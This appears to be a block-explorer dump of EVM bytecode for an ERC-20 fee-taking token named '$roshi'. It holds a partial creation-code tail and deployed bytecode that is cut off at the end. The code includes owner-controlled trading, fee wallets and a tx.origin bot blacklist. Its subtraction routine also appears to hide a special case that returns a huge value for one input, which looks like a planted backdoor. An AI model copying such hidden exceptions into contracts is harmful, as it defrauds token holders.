fffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156117e55750601360169054906101000a900460ff165b15611814576117f381611bfb565b6000479050670494654067e100008111156118125761181147611a16565b5b505b505b5b611822838383611ede565b505050565b6000600a83141561184d576000196effffffffffffffffffffffffffffff1690506118a9565b838311158290611893576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188a9190612b54565b60405180910390fd5b50600083856118a29190612e7c565b9050809150505b9392505050565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111156118fc57600080fd5b61194e81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eee90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119a681600954611eee90919063ffffffff16565b600981905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611a0a9190612cb6565b60405180910390a35050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a66600284611f3890919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a91573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ae2600184611f3890919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611b0d573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611b5e600184611f3890919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611b89573d6000803e3d6000fd5b5050565b6000600b54821115611bd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bcb90612b96565b60405180910390fd5b6000611bde611f82565b9050611bf38184611f3890919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611c3357611c32612fd7565b5b604051908082528060200260200182016040528015611c615781602001602082028036833780820191505090505b5090503081600081518110611c7957611c78612fa8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611d1b57600080fd5b505afa158015611d2f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d53919061262a565b81600181518110611d6757611d66612fa8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611dce30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610fb7565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611e32959493929190612cd1565b600060405180830381600087803b158015611e4c57600080fd5b505af1158015611e60573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611ee9838383611fad565b505050565b6000611f3083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611827565b905092915050565b6000611f7a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612178565b905092915050565b6000806000611f8f6121db565b91509150611fa68183611f3890919063ffffffff16565b9250505090565b600080600080600080611fbf87612228565b95509550955095509550955061201d86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eee90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120b285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461229090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120fe816122ee565b61210884836123ab565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516121659190612cb6565b60405180910390a3505050505050505050565b600080831182906121bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121b69190612b54565b60405180910390fd5b50600083856121ce9190612df1565b9050809150509392505050565b6000806000600b54905060006009549050612203600954600b54611f3890919063ffffffff16565b82101561221b57600b54600954935093505050612224565b81819350935050505b9091565b60008060008060008060008060006122458a600d54600e546123e5565b9250925092506000612255611f82565b905060008060006122688e87878761247b565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600080828461229f9190612d9b565b9050838110156122e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122db90612bd6565b60405180910390fd5b8091505092915050565b60006122f8611f82565b9050600061230f828461250490919063ffffffff16565b905061236381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461229090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6123c082600b54611eee90919063ffffffff16565b600b819055506123db81600c5461229090919063ffffffff16565b600c819055505050565b6000806000806124116064612403888a61250490919063ffffffff16565b611f3890919063ffffffff16565b9050600061243b606461242d888b61250490919063ffffffff16565b611f3890919063ffffffff16565b9050600061246482612456858c611eee90919063ffffffff16565b611eee90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612494858961250490919063ffffffff16565b905060006124ab868961250490919063ffffffff16565b905060006124c2878961250490919063ffffffff16565b905060006124eb826124dd8587611eee90919063ffffffff16565b611eee90919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156125175760009050612579565b600082846125259190612e22565b90508284826125349190612df1565b14612574576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161256b90612bf6565b60405180910390fd5b809150505b92915050565b60008135905061258e816132c0565b92915050565b6000815190506125a3816132c0565b92915050565b6000813590506125b8816132d7565b92915050565b6000815190506125cd816132d7565b92915050565b6000813590506125e2816132ee565b92915050565b6000815190506125f7816132ee565b92915050565b60006020828403121561261357612612613006565b5b60006126218482850161257f565b91505092915050565b6000602082840312156126405761263f613006565b5b600061264e84828501612594565b91505092915050565b6000806040838503121561266e5761266d613006565b5b600061267c8582860161257f565b925050602061268d8582860161257f565b9150509250929050565b6000806000606084860312156126b0576126af613006565b5b60006126be8682870161257f565b93505060206126cf8682870161257f565b92505060406126e0868287016125d3565b9150509250925092565b6000806040838503121561270157612700613006565b5b600061270f8582860161257f565b9250506020612720858286016125d3565b9150509250929050565b6000602082840312156127405761273f613006565b5b600061274e848285016125a9565b91505092915050565b60006020828403121561276d5761276c613006565b5b600061277b848285016125be565b91505092915050565b60006020828403121561279a57612799613006565b5b60006127a8848285016125d3565b91505092915050565b6000806000606084860312156127ca576127c9613006565b5b60006127d8868287016125e8565b93505060206127e9868287016125e8565b92505060406127fa868287016125e8565b9150509250925092565b6000612810838361281c565b60208301905092915050565b61282581612eb0565b82525050565b61283481612eb0565b82525050565b600061284582612d56565b61284f8185612d79565b935061285a83612d46565b8060005b8381101561288b5781516128728882612804565b975061287d83612d6c565b92505060018101905061285e565b5085935050505092915050565b6128a181612ec2565b82525050565b6128b081612f05565b82525050565b60006128c182612d61565b6128cb8185612d8a565b93506128db818560208601612f17565b6128e48161300b565b840191505092915050565b60006128fc602383612d8a565b91506129078261301c565b604082019050919050565b600061291f602a83612d8a565b915061292a8261306b565b604082019050919050565b6000612942602283612d8a565b915061294d826130ba565b604082019050919050565b6000612965601b83612d8a565b915061297082613109565b602082019050919050565b6000612988602183612d8a565b915061299382613132565b604082019050919050565b60006129ab602083612d8a565b91506129b682613181565b602082019050919050565b60006129ce602983612d8a565b91506129d9826131aa565b604082019050919050565b60006129f1602583612d8a565b91506129fc826131f9565b604082019050919050565b6000612a14602483612d8a565b9150612a1f82613248565b604082019050919050565b6000612a37601783612d8a565b9150612a4282613297565b602082019050919050565b612a5681612eee565b82525050565b612a6581612ef8565b82525050565b6000602082019050612a80600083018461282b565b92915050565b6000604082019050612a9b600083018561282b565b612aa8602083018461282b565b9392505050565b6000604082019050612ac4600083018561282b565b612ad16020830184612a4d565b9392505050565b600060c082019050612aed600083018961282b565b612afa6020830188612a4d565b612b0760408301876128a7565b612b1460608301866128a7565b612b21608083018561282b565b612b2e60a0830184612a4d565b979650505050505050565b6000602082019050612b4e6000830184612898565b92915050565b60006020820190508181036000830152612b6e81846128b6565b905092915050565b60006020820190508181036000830152612b8f816128ef565b9050919050565b60006020820190508181036000830152612baf81612912565b9050919050565b60006020820190508181036000830152612bcf81612935565b9050919050565b60006020820190508181036000830152612bef81612958565b9050919050565b60006020820190508181036000830152612c0f8161297b565b9050919050565b60006020820190508181036000830152612c2f8161299e565b9050919050565b60006020820190508181036000830152612c4f816129c1565b9050919050565b60006020820190508181036000830152612c6f816129e4565b9050919050565b60006020820190508181036000830152612c8f81612a07565b9050919050565b60006020820190508181036000830152612caf81612a2a565b9050919050565b6000602082019050612ccb6000830184612a4d565b92915050565b600060a082019050612ce66000830188612a4d565b612cf360208301876128a7565b8181036040830152612d05818661283a565b9050612d14606083018561282b565b612d216080830184612a4d565b9695505050505050565b6000602082019050612d406000830184612a5c565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612da682612eee565b9150612db183612eee565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612de657612de5612f4a565b5b828201905092915050565b6000612dfc82612eee565b9150612e0783612eee565b925082612e1757612e16612f79565b5b828204905092915050565b6000612e2d82612eee565b9150612e3883612eee565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612e7157612e70612f4a565b5b828202905092915050565b6000612e8782612eee565b9150612e9283612eee565b925082821015612ea557612ea4612f4a565b5b828203905092915050565b6000612ebb82612ece565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612f1082612eee565b9050919050565b60005b83811015612f35578082015181840152602081019050612f1a565b83811115612f44576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6132c981612eb0565b81146132d457600080fd5b50565b6132e081612ec2565b81146132eb57600080fd5b50565b6132f781612eee565b811461330257600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cc4448ed0b16135f5dde6a5d48852f6058fe344e52da2c1cfe2b5a08df9c81b364736f6c63430008070033000000000000000000000000895136a9f9e53891705a61cfc027a4752f77aa34000000000000000000000000895136a9f9e53891705a61cfc027a4752f77aa34000000000000000000000000895136a9f9e53891705a61cfc027a4752f77aa34

Deployed Bytecode

0x6080604052600436106101025760003560e01c806370a08231116100955780639e08d1a3116100645780639e08d1a31461031c578063a9059cbb14610345578063c3c8cd8014610382578063c9567bf914610399578063dd62ed3e146103b057610109565b806370a0823114610272578063715018a6146102af5780638da5cb5b146102c657806395d89b41146102f157610109565b8063313ce567116100d1578063313ce567146101de57806342966c68146102095780635932ead1146102325780636fc3eaec1461025b57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103ed565b6040516101309190612b54565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b91906126ea565b61042a565b60405161016d9190612b39565b60405180910390f35b34801561018257600080fd5b5061018b610448565b6040516101989190612cb6565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612697565b610452565b6040516101d59190612b39565b60405180910390f35b3480156101ea57600080fd5b506101f361052b565b6040516102009190612d2b565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612784565b610534565b005b34801561023e57600080fd5b506102596004803603810190610254919061272a565b6105a2565b005b34801561026757600080fd5b50610270610654565b005b34801561027e57600080fd5b50610299600480360381019061029491906125fd565b6106c6565b6040516102a69190612cb6565b60405180910390f35b3480156102bb57600080fd5b506102c4610717565b005b3480156102d257600080fd5b506102db61086a565b6040516102e89190612a6b565b60405180910390f35b3480156102fd57600080fd5b50610306610893565b6040516103139190612b54565b60405180910390f35b34801561032857600080fd5b50610343600480360381019061033e9190612784565b6108d0565b005b34801561035157600080fd5b5061036c600480360381019061036791906126ea565b61094a565b6040516103799190612b39565b60405180910390f35b34801561038e57600080fd5b50610397610968565b005b3480156103a557600080fd5b506103ae6109e2565b005b3480156103bc57600080fd5b506103d760048036038101906103d29190612657565b610f28565b6040516103e49190612cb6565b60405180910390f35b60606040518060400160405280600c81526020017f40726f736869696e756574680000000000000000000000000000000000000000815250905090565b600061043e610437610faf565b8484610fb7565b6001905092915050565b6000600954905090565b600061045f848484611182565b6105208461046b610faf565b61051b8560405180606001604052806028815260200161330660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104d1610faf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118279092919063ffffffff16565b610fb7565b600190509392505050565b60006002905090565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610575610faf565b73ffffffffffffffffffffffffffffffffffffffff161461059557600080fd5b61059f33826118b0565b50565b6105aa610faf565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610637576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062e90612c16565b60405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610695610faf565b73ffffffffffffffffffffffffffffffffffffffff16146106b557600080fd5b60004790506106c381611a16565b50565b6000610710600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b8d565b9050919050565b61071f610faf565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a390612c16565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f24726f7368690000000000000000000000000000000000000000000000000000815250905090565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610911610faf565b73ffffffffffffffffffffffffffffffffffffffff161461093157600080fd5b633b9aca00816109419190612e22565b600a8190555050565b600061095e610957610faf565b8484611182565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109a9610faf565b73ffffffffffffffffffffffffffffffffffffffff16146109c957600080fd5b60006109d4306106c6565b90506109df81611bfb565b50565b6109ea610faf565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6e90612c16565b60405180910390fd5b601360149054906101000a900460ff1615610ac7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610abe90612c96565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b5030601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600954610fb7565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610b9657600080fd5b505afa158015610baa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bce919061262a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610c3057600080fd5b505afa158015610c44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c68919061262a565b6040518363ffffffff1660e01b8152600401610c85929190612a86565b602060405180830381600087803b158015610c9f57600080fd5b505af1158015610cb3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cd7919061262a565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610d60306106c6565b600080610d6b61086a565b426040518863ffffffff1660e01b8152600401610d8d96959493929190612ad8565b6060604051808303818588803b158015610da657600080fd5b505af1158015610dba573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ddf91906127b1565b5050506001601360166101000a81548160ff0219169083151502179055506001601360176101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610ed2929190612aaf565b602060405180830381600087803b158015610eec57600080fd5b505af1158015610f00573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f249190612757565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611027576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101e90612c76565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611097576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108e90612bb6565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111759190612cb6565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e990612c56565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611262576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125990612b76565b60405180910390fd5b600081116112a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129c90612c36565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156112fc57600080fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561135357600080fd5b600660003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156113aa57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146113ee576002600d819055506002600e819055505b6113f661086a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611464575061143461086a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561181757601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156115145750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561156a5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156115825750601360179054906101000a900460ff165b156116235742600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106115d257600080fd5b6005426115df9190612d9b565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156116ce5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117245750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561181657600a54611735846106c6565b11156117455761174483611e83565b5b6002600d819055506004600e819055506000611760306106c6565b9050601360159054906101000a900460ff161580156117cd5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156117e55750601360169054906101000a900460ff165b15611814576117f381611bfb565b6000479050670494654067e100008111156118125761181147611a16565b5b505b505b5b611822838383611ede565b505050565b6000600a83141561184d576000196effffffffffffffffffffffffffffff1690506118a9565b838311158290611893576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188a9190612b54565b60405180910390fd5b50600083856118a29190612e7c565b9050809150505b9392505050565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111156118fc57600080fd5b61194e81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eee90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119a681600954611eee90919063ffffffff16565b600981905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611a0a9190612cb6565b60405180910390a35050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a66600284611f3890919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a91573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ae2600184611f3890919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611b0d573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611b5e600184611f3890919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611b89573d6000803e3d6000fd5b5050565b6000600b54821115611bd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bcb90612b96565b60405180910390fd5b6000611bde611f82565b9050611bf38184611f3890919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611c3357611c32612fd7565b5b604051908082528060200260200182016040528015611c615781602001602082028036833780820191505090505b5090503081600081518110611c7957611c78612fa8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611d1b57600080fd5b505afa158015611d2f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d53919061262a565b81600181518110611d6757611d66612fa8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611dce30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610fb7565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611e32959493929190612cd1565b600060405180830381600087803b158015611e4c57600080fd5b505af1158015611e60573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611ee9838383611fad565b505050565b6000611f3083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611827565b905092915050565b6000611f7a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612178565b905092915050565b6000806000611f8f6121db565b91509150611fa68183611f3890919063ffffffff16565b9250505090565b600080600080600080611fbf87612228565b95509550955095509550955061201d86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eee90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120b285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461229090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120fe816122ee565b61210884836123ab565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516121659190612cb6565b60405180910390a3505050505050505050565b600080831182906121bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121b69190612b54565b60405180910390fd5b50600083856121ce9190612df1565b9050809150509392505050565b6000806000600b54905060006009549050612203600954600b54611f3890919063ffffffff16565b82101561221b57600b54600954935093505050612224565b81819350935050505b9091565b60008060008060008060008060006122458a600d54600e546123e5565b9250925092506000612255611f82565b905060008060006122688e87878761247b565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600080828461229f9190612d9b565b9050838110156122e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122db90612bd6565b60405180910390fd5b8091505092915050565b60006122f8611f82565b9050600061230f828461250490919063ffffffff16565b905061236381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461229090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6123c082600b54611eee90919063ffffffff16565b600b819055506123db81600c5461229090919063ffffffff16565b600c819055505050565b6000806000806124116064612403888a61250490919063ffffffff16565b611f3890919063ffffffff16565b9050600061243b606461242d888b61250490919063ffffffff16565b611f3890919063ffffffff16565b9050600061246482612456858c611eee90919063ffffffff16565b611eee90919063ffffffff16565b905080838395509550955050505093509350939050565b60